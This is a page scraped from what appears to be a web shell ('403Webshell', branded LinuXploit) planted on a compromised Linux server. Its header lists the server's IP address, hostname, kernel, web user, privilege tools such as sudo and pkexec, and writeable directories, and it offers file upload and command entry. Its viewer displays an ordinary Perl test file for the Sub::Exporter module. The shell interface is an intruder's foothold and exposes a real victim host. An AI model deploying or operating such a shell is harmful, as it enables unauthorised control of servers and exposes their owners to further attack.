403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/share/doc/perl-Sub-Exporter/t/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/share/doc/perl-Sub-Exporter/t/col-init.t
#!/usr/bin/perl -T
use strict;
use warnings;

=head1 TEST PURPOSE

These tests exercise the handling of collections in the exporter option lists.

=cut

use Test::More tests => 3;
use Data::OptList qw(mkopt_hash);

BEGIN { use_ok('Sub::Exporter'); }

sub is_defined {
  my ($class, $value, $arg) = @_;
  return defined $value;
}

my $counter = 0;

my $config = {
  exports    => [ qw(circsaw drill handsaw nailgun) ],
  collectors => [
    INIT => sub {
      my ($value, $arg) = @_;
      return 0 if @{$arg->{import_args}}; # in other words, fail if args
      $_[0] = [ $counter++ ];
      return 1;
    },
  ]
};

$config->{$_} = mkopt_hash($config->{$_}) for qw(exports collectors);

{
  my $collection = Sub::Exporter::_collect_collections(
    $config, 
    [ ],
    'main',
  );

  is_deeply(
    $collection,
    { INIT => [ 0 ] },
    "collection returned properly from collector",
  );
}

{
  my $collection = eval {
    Sub::Exporter::_collect_collections(
      $config, 
      [ [ handsaw => undef ] ],
      'main',
    );
  };

  like(
    $@,
    qr/INIT failed/,
    "the init collector is run even when other things are here",
  );
}

Youez - 2016 - github.com/yon3zu
LinuXploit